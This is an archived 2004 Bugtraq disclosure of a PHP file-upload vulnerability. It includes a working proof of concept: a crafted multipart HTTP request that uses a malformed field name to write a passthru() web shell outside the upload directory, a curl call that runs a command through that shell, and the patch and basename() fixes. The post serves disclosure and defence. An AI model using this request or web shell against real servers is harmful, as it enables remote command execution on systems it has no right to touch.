[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Php RFC1867 Upload Vuln. POC Released
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: Php RFC1867 Upload Vuln. POC Released
- From: Stefano Di Paola <stefano.dipaola@xxxxxxxx>
- Date: Wed, 29 Sep 2004 19:15:51 +0200
Hi all,
Php 4.3.9 and 5.0.2 have been released with the patch for this
vulnerability, so I've decided to release the POC for this vuln.
==PHP File Upload Vulnerability POC
==Title: Overwrite $_FILE array in rfc1867 - Mime
multipart/form-data File Upload
Author: Stefano Di Paola
Affected: Php <= 5.0.1
Not Affected: Maybe some old Version of Php before 4.2.x
Vulnerability Type: Possible write of a downloaded file in an arbitrary
location.
==Description:
By forging an appropriate request for a Mime multipart/form-data file it
is possible to set the "name" element value to an arbitrary filename if
the name of $_FILES element contains a '_' (underscore) like "user_file"
Let's use Example 34-2. Validating file uploads (changing 'userfile' to
'user_file') from http://www.php.net/manual/en/features.file-upload.php:
-----file: upload.php------
<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
instead
// of $_FILES.
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];
print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) &&
move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
print "File is valid, and was successfully uploaded. ";
print "Here's some more debugging info:\n";
print_r($_FILES);
} else {
print "Possible file upload attack! Here's some debugging info:\n";
print_r($_FILES);
}
print "</pre>";
?>
----end file: upload.php------
N.B. The is_uploaded_file php function has been added to proof that this
check is bypassable.
Let's suppose that /var/www/html/ is writable by apache user (or any
other dir in apache root).
$: (cat form)|nc 127.0.0.1 80
<pre>
File is valid, and was successfully uploaded.
Here's some more debugging info:
Array(
[user_file] =>Array(
[name] => ../html/passt.php
[tmp_name] => /tmp/phpucjLV1
[error] => 0
[size] => 30
[type] => application/octet-stream
)
)
</pre>
where form is:
-----8<---form-------8<-----
POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
Content-Type: multipart/form-data;
boundary=---------------------------1648318426118446961720965026
Content-Length: 395
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[name]123";
filename="p.php"
Content-Type: ../html/passt.php
<?
passthru($_GET['cm']);
?>
-----------------------------1648318426118446961720965026
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream
<?
passthru($_GET['cm']);
?>
-----8<---endform----8<-----
By looking closely our request it can be noted that the name of uploaded
file is going to be valued by 'Content-Type: ../html/passt.php' and not
by filename='p.php'.
Second section is injected just to make things more 'normal', by
allowing php interpreter to instanziate 'type' element, but it's just a
matter of style...
And then let's verify that all went right:
$: curl "127.0.0.1/passt.php?cm=id"
uid=72(apache) gid=72(apache) groups=72(apache)
Done!
==The Issue
This vulnerability permits to bypass the sanitization php interpreter
does on filename to remove prepended directories. So if the developer of
a upload php script trust in php pre sanitization of input, a malicious
user could use this flaw to upload a file in an arbitrary location. The
issue is in the fact that, as can be seen in request, by playing with
sqare brackets and by appending some non ']' at the end of the 'name'
variable value, a malicious user can fool the array parser embedded in
php interpreter, resulting in a different array from the expected one.
I won't go too deep in details on why this was possible (it's just a
matter of debugging), but it should be enough to know that the parameter
'name' value in request ('user[file[element]123') is parsed firstly as a
simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and
then parameter is parsed again by php_register_variable and seen as an
array.
This flaw creates a incongruence in the type of the variable, that can
be used to exploit the php upload script.
==Additional Topics
By playing with arrays of arrays and open square brackets I did a lot of
thing but the *big* thing is this one.
==The Solution
The most simple solution consists in downloading and installing php
5.0.2 or 4.3.9 that have been released a couple of days ago.
An alternative solution is to check if $_FILES[]['name'] is really a
stripped filename by using something like this:
$filename=basename($_FILES[]['name']);
Regards,
Stefano
.......----=oOOo=----=oOOo=-----.......
Stefano Di Paola
Software Engineer
Email: stefano.dipaola_at_wisec_dot_it
Email: stefano.dipaola1_at_tin_dot_it
---------------------------------------